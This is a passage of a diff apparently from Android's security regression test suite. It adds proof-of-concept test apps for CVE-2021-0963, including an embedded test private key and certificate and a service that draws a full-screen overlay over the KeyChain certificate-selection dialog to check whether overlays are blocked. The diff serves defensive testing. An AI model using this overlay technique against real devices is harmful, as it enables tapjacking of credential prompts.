+ (byte) 0x40, (byte) 0x52, (byte) 0x01, (byte) 0xde, (byte) 0x62, (byte) 0xc2,
+ (byte) 0x25, (byte) 0xbf, (byte) 0x5d, (byte) 0x77, (byte) 0xe4, (byte) 0x6b,
+ (byte) 0xb6, (byte) 0xd7, (byte) 0x8f, (byte) 0x89, (byte) 0x2c, (byte) 0xe6,
+ (byte) 0x8d, (byte) 0xe5, (byte) 0xad, (byte) 0x39, (byte) 0x17, (byte) 0x54,
+ (byte) 0x2b, (byte) 0x35, (byte) 0x53, (byte) 0xd1, (byte) 0xa1, (byte) 0xef,
+ (byte) 0x48, (byte) 0xbc, (byte) 0x95, (byte) 0x48, (byte) 0xcf, (byte) 0x62,
+ (byte) 0xf4, (byte) 0x33, (byte) 0xcf, (byte) 0x37, (byte) 0x78, (byte) 0xeb,
+ (byte) 0x17, (byte) 0xb4, (byte) 0x0b, (byte) 0x83, (byte) 0x4f, (byte) 0xb6,
+ (byte) 0xab, (byte) 0x7d, (byte) 0x67, (byte) 0x3e, (byte) 0x4e, (byte) 0x44,
+ (byte) 0x4a, (byte) 0x55, (byte) 0x2e, (byte) 0x34, (byte) 0x12, (byte) 0x0b,
+ (byte) 0x59, (byte) 0xb3, (byte) 0xb1, (byte) 0x1e, (byte) 0x3d};
+
+
+ /**
+ * Generated from above and converted with:
+ *
+ * openssl x509 -outform d -in usercert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+ */
+ private static final byte[] USER_CERT =
+ {(byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xd8, (byte) 0x30, (byte) 0x82,
+ (byte) 0x01, (byte) 0xc0, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+ (byte) 0x02, (byte) 0x02, (byte) 0x01, (byte) 0x01, (byte) 0x30, (byte) 0x0d,
+ (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86,
+ (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x0b, (byte) 0x05,
+ (byte) 0x00, (byte) 0x30, (byte) 0x33, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
+ (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
+ (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13,
+ (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+ (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d,
+ (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74,
+ (byte) 0x65, (byte) 0x31, (byte) 0x0f, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
+ (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x06,
+ (byte) 0x47, (byte) 0x6f, (byte) 0x6f, (byte) 0x67, (byte) 0x6c, (byte) 0x65,
+ (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x32,
+ (byte) 0x30, (byte) 0x33, (byte) 0x32, (byte) 0x35, (byte) 0x30, (byte) 0x37,
+ (byte) 0x32, (byte) 0x30, (byte) 0x31, (byte) 0x32, (byte) 0x5a, (byte) 0x17,
+ (byte) 0x0d, (byte) 0x33, (byte) 0x32, (byte) 0x30, (byte) 0x33, (byte) 0x32,
+ (byte) 0x32, (byte) 0x30, (byte) 0x37, (byte) 0x32, (byte) 0x30, (byte) 0x31,
+ (byte) 0x32, (byte) 0x5a, (byte) 0x30, (byte) 0x33, (byte) 0x31, (byte) 0x0b,
+ (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+ (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55, (byte) 0x31,
+ (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+ (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53, (byte) 0x6f,
+ (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74, (byte) 0x61,
+ (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x0f, (byte) 0x30, (byte) 0x0d,
+ (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x0c,
+ (byte) 0x06, (byte) 0x47, (byte) 0x6f, (byte) 0x6f, (byte) 0x67, (byte) 0x6c,
+ (byte) 0x65, (byte) 0x30, (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d,
+ (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86,
+ (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05,
+ (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30,
+ (byte) 0x81, (byte) 0x89, (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00,
+ (byte) 0xee, (byte) 0x6e, (byte) 0x51, (byte) 0xa8, (byte) 0xc4, (byte) 0x44,
+ (byte) 0xd9, (byte) 0xb7, (byte) 0x53, (byte) 0xf1, (byte) 0xb9, (byte) 0x1b,
+ (byte) 0x9d, (byte) 0x8d, (byte) 0x7c, (byte) 0x9f, (byte) 0x06, (byte) 0xe7,
+ (byte) 0xed, (byte) 0xa8, (byte) 0x05, (byte) 0xb8, (byte) 0xaa, (byte) 0x0a,
+ (byte) 0x2d, (byte) 0x74, (byte) 0x05, (byte) 0x8b, (byte) 0xad, (byte) 0xfe,
+ (byte) 0xd3, (byte) 0x3e, (byte) 0x08, (byte) 0x9d, (byte) 0xc9, (byte) 0xf5,
+ (byte) 0xf7, (byte) 0x81, (byte) 0x90, (byte) 0xf1, (byte) 0xcc, (byte) 0x3f,
+ (byte) 0x91, (byte) 0xda, (byte) 0xcb, (byte) 0x67, (byte) 0x6a, (byte) 0xe8,
+ (byte) 0x4a, (byte) 0xa0, (byte) 0xc3, (byte) 0x8a, (byte) 0x53, (byte) 0xd9,
+ (byte) 0xf0, (byte) 0x17, (byte) 0xbe, (byte) 0x90, (byte) 0xbb, (byte) 0x95,
+ (byte) 0x29, (byte) 0x01, (byte) 0xce, (byte) 0x32, (byte) 0xce, (byte) 0xf8,
+ (byte) 0x02, (byte) 0xfe, (byte) 0xe8, (byte) 0x19, (byte) 0x91, (byte) 0x29,
+ (byte) 0x46, (byte) 0xf7, (byte) 0x67, (byte) 0xd1, (byte) 0xcb, (byte) 0xa7,
+ (byte) 0x20, (byte) 0x8b, (byte) 0x85, (byte) 0x8a, (byte) 0x0c, (byte) 0x07,
+ (byte) 0xf8, (byte) 0xfe, (byte) 0xf4, (byte) 0x5d, (byte) 0x08, (byte) 0xf4,
+ (byte) 0x63, (byte) 0x4a, (byte) 0x69, (byte) 0x66, (byte) 0x28, (byte) 0xcb,
+ (byte) 0x0d, (byte) 0x1c, (byte) 0x7f, (byte) 0x7f, (byte) 0x7e, (byte) 0x83,
+ (byte) 0x49, (byte) 0x66, (byte) 0x6c, (byte) 0x83, (byte) 0x2d, (byte) 0xa0,
+ (byte) 0x51, (byte) 0xf6, (byte) 0x14, (byte) 0x68, (byte) 0x47, (byte) 0x31,
+ (byte) 0x72, (byte) 0x4d, (byte) 0xe9, (byte) 0x1e, (byte) 0x12, (byte) 0x1b,
+ (byte) 0xd0, (byte) 0xe6, (byte) 0x21, (byte) 0xd8, (byte) 0x84, (byte) 0x5f,
+ (byte) 0xe3, (byte) 0xef, (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00,
+ (byte) 0x01, (byte) 0xa3, (byte) 0x7b, (byte) 0x30, (byte) 0x79, (byte) 0x30,
+ (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13,
+ (byte) 0x04, (byte) 0x02, (byte) 0x30, (byte) 0x00, (byte) 0x30, (byte) 0x2c,
+ (byte) 0x06, (byte) 0x09, (byte) 0x60, (byte) 0x86, (byte) 0x48, (byte) 0x01,
+ (byte) 0x86, (byte) 0xf8, (byte) 0x42, (byte) 0x01, (byte) 0x0d, (byte) 0x04,
+ (byte) 0x1f, (byte) 0x16, (byte) 0x1d, (byte) 0x4f, (byte) 0x70, (byte) 0x65,
+ (byte) 0x6e, (byte) 0x53, (byte) 0x53, (byte) 0x4c, (byte) 0x20, (byte) 0x47,
+ (byte) 0x65, (byte) 0x6e, (byte) 0x65, (byte) 0x72, (byte) 0x61, (byte) 0x74,
+ (byte) 0x65, (byte) 0x64, (byte) 0x20, (byte) 0x43, (byte) 0x65, (byte) 0x72,
+ (byte) 0x74, (byte) 0x69, (byte) 0x66, (byte) 0x69, (byte) 0x63, (byte) 0x61,
+ (byte) 0x74, (byte) 0x65, (byte) 0x30, (byte) 0x1d, (byte) 0x06, (byte) 0x03,
+ (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16, (byte) 0x04,
+ (byte) 0x14, (byte) 0xee, (byte) 0xec, (byte) 0x08, (byte) 0xcc, (byte) 0xdd,
+ (byte) 0xa3, (byte) 0x29, (byte) 0x6e, (byte) 0x2b, (byte) 0x78, (byte) 0x23,
+ (byte) 0xb3, (byte) 0xf0, (byte) 0xb8, (byte) 0x9d, (byte) 0x53, (byte) 0x41,
+ (byte) 0x2e, (byte) 0x3c, (byte) 0x61, (byte) 0x30, (byte) 0x1f, (byte) 0x06,
+ (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04, (byte) 0x18,
+ (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x86, (byte) 0xdb,
+ (byte) 0xa5, (byte) 0x5e, (byte) 0x0e, (byte) 0x03, (byte) 0xbc, (byte) 0xe4,
+ (byte) 0xc1, (byte) 0xc8, (byte) 0xf3, (byte) 0xed, (byte) 0x24, (byte) 0x48,
+ (byte) 0xb1, (byte) 0x37, (byte) 0x3a, (byte) 0x52, (byte) 0x10, (byte) 0x57,
+ (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+ (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+ (byte) 0x0b, (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x82, (byte) 0x01,
+ (byte) 0x01, (byte) 0x00, (byte) 0x15, (byte) 0x5a, (byte) 0x5c, (byte) 0x08,
+ (byte) 0xe4, (byte) 0x0e, (byte) 0x28, (byte) 0x4c, (byte) 0xa9, (byte) 0x0e,
+ (byte) 0x35, (byte) 0xbe, (byte) 0xe3, (byte) 0xd5, (byte) 0xd1, (byte) 0xb4,
+ (byte) 0x47, (byte) 0x87, (byte) 0x63, (byte) 0xd2, (byte) 0x5e, (byte) 0x7e,
+ (byte) 0xf6, (byte) 0xd8, (byte) 0xce, (byte) 0xdf, (byte) 0x10, (byte) 0x15,
+ (byte) 0x61, (byte) 0xc4, (byte) 0x9a, (byte) 0xf1, (byte) 0xba, (byte) 0x33,
+ (byte) 0xf2, (byte) 0xc2, (byte) 0x01, (byte) 0x95, (byte) 0xa7, (byte) 0x74,
+ (byte) 0x97, (byte) 0xc1, (byte) 0x43, (byte) 0x68, (byte) 0x92, (byte) 0xbe,
+ (byte) 0x9a, (byte) 0x6f, (byte) 0x38, (byte) 0xcb, (byte) 0xa0, (byte) 0xcf,
+ (byte) 0x1e, (byte) 0x5b, (byte) 0x03, (byte) 0xde, (byte) 0x45, (byte) 0x6d,
+ (byte) 0xea, (byte) 0xf0, (byte) 0x46, (byte) 0x4d, (byte) 0xb6, (byte) 0x4b,
+ (byte) 0x88, (byte) 0xc7, (byte) 0xb8, (byte) 0xe3, (byte) 0x9f, (byte) 0x58,
+ (byte) 0x8b, (byte) 0x2d, (byte) 0xbf, (byte) 0x4b, (byte) 0x3f, (byte) 0x54,
+ (byte) 0x2d, (byte) 0xa8, (byte) 0x27, (byte) 0x72, (byte) 0x5e, (byte) 0x36,
+ (byte) 0x67, (byte) 0x5c, (byte) 0x6e, (byte) 0x9a, (byte) 0x67, (byte) 0x73,
+ (byte) 0x44, (byte) 0xaf, (byte) 0x46, (byte) 0x7f, (byte) 0xd6, (byte) 0x2b,
+ (byte) 0x9d, (byte) 0x28, (byte) 0xb1, (byte) 0xc4, (byte) 0xc4, (byte) 0x72,
+ (byte) 0x3d, (byte) 0x6d, (byte) 0x7d, (byte) 0x28, (byte) 0x40, (byte) 0x62,
+ (byte) 0x40, (byte) 0x21, (byte) 0x52, (byte) 0xb5, (byte) 0x0b, (byte) 0xf3,
+ (byte) 0xcc, (byte) 0x36, (byte) 0x03, (byte) 0x10, (byte) 0x19, (byte) 0xe3,
+ (byte) 0xc2, (byte) 0xfe, (byte) 0xe9, (byte) 0x08, (byte) 0x0d, (byte) 0xd4,
+ (byte) 0x8b, (byte) 0x12, (byte) 0xd6, (byte) 0x3d, (byte) 0xc5, (byte) 0xb8,
+ (byte) 0x8c, (byte) 0xbd, (byte) 0xa5, (byte) 0xcd, (byte) 0xb3, (byte) 0xe4,
+ (byte) 0xd1, (byte) 0xd8, (byte) 0x4c, (byte) 0x32, (byte) 0x44, (byte) 0x3f,
+ (byte) 0x63, (byte) 0x32, (byte) 0x09, (byte) 0xdb, (byte) 0x8b, (byte) 0x7b,
+ (byte) 0x30, (byte) 0x58, (byte) 0xc7, (byte) 0xcf, (byte) 0xc3, (byte) 0x44,
+ (byte) 0xd9, (byte) 0xff, (byte) 0x63, (byte) 0x91, (byte) 0x74, (byte) 0xd8,
+ (byte) 0x62, (byte) 0x2b, (byte) 0x52, (byte) 0xc8, (byte) 0x82, (byte) 0x9f,
+ (byte) 0xeb, (byte) 0x22, (byte) 0x5c, (byte) 0xa2, (byte) 0x26, (byte) 0xfe,
+ (byte) 0x04, (byte) 0x31, (byte) 0x53, (byte) 0x09, (byte) 0xa7, (byte) 0x23,
+ (byte) 0xe3, (byte) 0x0f, (byte) 0xf8, (byte) 0xe9, (byte) 0x99, (byte) 0xad,
+ (byte) 0x4b, (byte) 0x23, (byte) 0x07, (byte) 0xfb, (byte) 0xfa, (byte) 0xc3,
+ (byte) 0x55, (byte) 0x59, (byte) 0xdb, (byte) 0x6b, (byte) 0x71, (byte) 0xdf,
+ (byte) 0x25, (byte) 0x0f, (byte) 0xaa, (byte) 0xa2, (byte) 0xfa, (byte) 0x28,
+ (byte) 0x49, (byte) 0x65, (byte) 0x7e, (byte) 0x0b, (byte) 0x74, (byte) 0x30,
+ (byte) 0xd9, (byte) 0x9a, (byte) 0xfe, (byte) 0x2c, (byte) 0x8c, (byte) 0x67,
+ (byte) 0x50, (byte) 0x0c, (byte) 0x6d, (byte) 0x4c, (byte) 0xba, (byte) 0x34,
+ (byte) 0x3b, (byte) 0x0d, (byte) 0x16, (byte) 0x45, (byte) 0x63, (byte) 0x73,
+ (byte) 0xc2, (byte) 0x9f, (byte) 0xb4, (byte) 0xdd, (byte) 0x6f, (byte) 0xde,
+ (byte) 0x9d, (byte) 0x71, (byte) 0xbf, (byte) 0x8d, (byte) 0x1b, (byte) 0x79,
+ (byte) 0xa0, (byte) 0x0a, (byte) 0x66, (byte) 0x7e, (byte) 0x56, (byte) 0x83,
+ (byte) 0x8f, (byte) 0x3f, (byte) 0x7d, (byte) 0x93, (byte) 0xf6, (byte) 0xc9,
+ (byte) 0x42, (byte) 0xfc, (byte) 0xc5, (byte) 0xf2, (byte) 0x49, (byte) 0xec};
+
+ @After
+ public void tearDown() {
+ try {
+ mDevicePolicyManager.removeKeyPair(mComponentName, mContext.getString(R.string.alias));
+ mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+ } catch (Exception e) {
+ // ignore all exceptions as the test is already complete
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ try {
+ /* Install key pair required to launch KeyChainActivity dialog */
+ mContext = getInstrumentation().getContext();
+ Resources resources = mContext.getResources();
+ KeyFactory kf = KeyFactory.getInstance(mContext.getString(R.string.keyType));
+ PrivateKey privKey = kf.generatePrivate(new PKCS8EncodedKeySpec(PRIVATE_KEY));
+ CertificateFactory cf =
+ CertificateFactory.getInstance(mContext.getString(R.string.certType));
+ Certificate cert = cf.generateCertificate(new ByteArrayInputStream(USER_CERT));
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+ PocDeviceAdminReceiver.class.getName());
+ assumeTrue(mDevicePolicyManager.installKeyPair(mComponentName, privKey, cert,
+ mContext.getString(R.string.alias)));
+
+ /* Start the overlay service */
+ Intent intent = new Intent(mContext, PocService.class);
+ assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(mContext));
+ CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ PocStatus pocStatus =
+ new PocStatus(result.getInt(mContext.getString(R.string.statusKey)),
+ result.getString(mContext.getString(R.string.messageKey)));
+ callbackReturn.complete(pocStatus);
+ });
+ intent.putExtra(mContext.getString(R.string.callbackKey), cb);
+ mContext.startService(intent);
+ PocStatus result = callbackReturn.get(resources.getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+ assumeTrue(result.getErrorMessage(),
+ result.getStatusCode() != resources.getInteger(R.integer.assumptionFailure));
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(
+ mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)),
+ mContext.getResources().getInteger(R.integer.timeoutMs)));
+
+ /* Start PocActivity which starts the vulnerable activity */
+ intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ CompletableFuture<PocStatus> pocActivityReturn = new CompletableFuture<>();
+ RemoteCallback pocActivityCb = new RemoteCallback((Bundle pocActivityResult) -> {
+ PocStatus pocStatus = new PocStatus(
+ pocActivityResult.getInt(mContext.getString(R.string.statusKey)),
+ pocActivityResult.getString(mContext.getString(R.string.messageKey)));
+ pocActivityReturn.complete(pocStatus);
+ });
+ intent.putExtra(mContext.getString(R.string.callbackKey), pocActivityCb);
+ mContext.startActivity(intent);
+ result = pocActivityReturn.get(resources.getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+ assumeTrue(result.getErrorMessage(),
+ result.getStatusCode() != resources.getInteger(R.integer.assumptionFailure));
+
+ /* Get the vulnerable activity name by using an alternative intent */
+ Intent vulIntent = new Intent(mContext.getString(R.string.actionKeychainActivity));
+ ResolveInfo ri = mContext.getPackageManager().resolveActivity(vulIntent,
+ PackageManager.MATCH_DEFAULT_ONLY);
+ String vulnerableActivityName = ri.activityInfo.name;
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = device.wait(Until.gone(By.pkg(mContext.getPackageName())),
+ mContext.getResources().getInteger(R.integer.timeoutMs));
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ activityDump = device.executeShellCommand(
+ mContext.getString(R.string.dumpsysActivity, vulnerableActivityName));
+ Pattern activityPattern = Pattern.compile(mContext.getString(R.string.mResumedTrue),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(
+ mContext.getString(R.string.vulActivityNotRunningError, vulnerableActivityName),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(mContext.getString(R.string.errorMessage, vulnerableActivityName),
+ overlayDisallowed);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java
new file mode 100644
index 0000000..ac8ea15
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.security.KeyChain;
+import android.security.KeyChainAliasCallback;
+
+import androidx.annotation.Nullable;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ KeyChainAliasCallback callback = new KeyChainAliasCallback() {
+ @Override
+ public void alias(@Nullable String alias) {}
+ };
+ KeyChain.choosePrivateKeyAlias(this, callback, null, null, null, -1, null);
+ sendTestResult(getResources().getInteger(R.integer.noException), "");
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ }
+
+ void sendTestResult(int status, String message) {
+ try {
+ RemoteCallback cb =
+ (RemoteCallback) getIntent().getExtras().get(getString(R.string.callbackKey));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.messageKey), message);
+ res.putInt(getString(R.string.statusKey), status);
+ cb.sendResult(res);
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
similarity index 79%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
index 1a335c7..5592323 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
@@ -14,9 +14,9 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0963;
-import android.app.Activity;
+import android.app.admin.DeviceAdminReceiver;
-public class PocActivity extends Activity {
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java
new file mode 100644
index 0000000..b83e824
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ Button mButton;
+ WindowManager mWindowManager;
+ LayoutParams mLayoutParams;
+ Intent mIntent;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ try {
+ mIntent = intent;
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new LayoutParams();
+ mLayoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = LayoutParams.FLAG_NOT_TOUCH_MODAL |
+ LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ Context context = getApplicationContext();
+ mButton = new Button(context);
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ sendTestResult(getResources().getInteger(R.integer.noException), "");
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ try {
+ mWindowManager.removeView(mButton);
+ } catch (Exception e) {
+ sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ super.onDestroy();
+ }
+
+ void sendTestResult(int status, String message) {
+ try {
+ RemoteCallback cb =
+ (RemoteCallback) mIntent.getExtras().get(getString(R.string.callbackKey));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.messageKey), message);
+ res.putInt(getString(R.string.statusKey), status);
+ cb.sendResult(res);
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
index 1a335c7..de67f0f 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
@@ -14,9 +14,22 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0963;
-import android.app.Activity;
+public class PocStatus {
+ int statusCode;
+ String errorMessage;
-public class PocActivity extends Activity {
+ public PocStatus(int status, String message) {
+ statusCode = status;
+ errorMessage = message;
+ }
+
+ public int getStatusCode() {
+ return statusCode;
+ }
+
+ public String getErrorMessage() {
+ return errorMessage;
+ }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
index 09297b2..cf3b7e2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/Android.bp
@@ -20,12 +20,12 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2022-20112",
defaults: [
- "cts_defaults",
+ "cts_support_defaults"
],
srcs: [
- "src/**/*.java",
+ "src/**/*.java"
],
test_suites: [
"sts",
@@ -33,7 +33,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml
similarity index 61%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml
index d9e0ab2..052a711 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml
@@ -1,6 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,7 +13,10 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
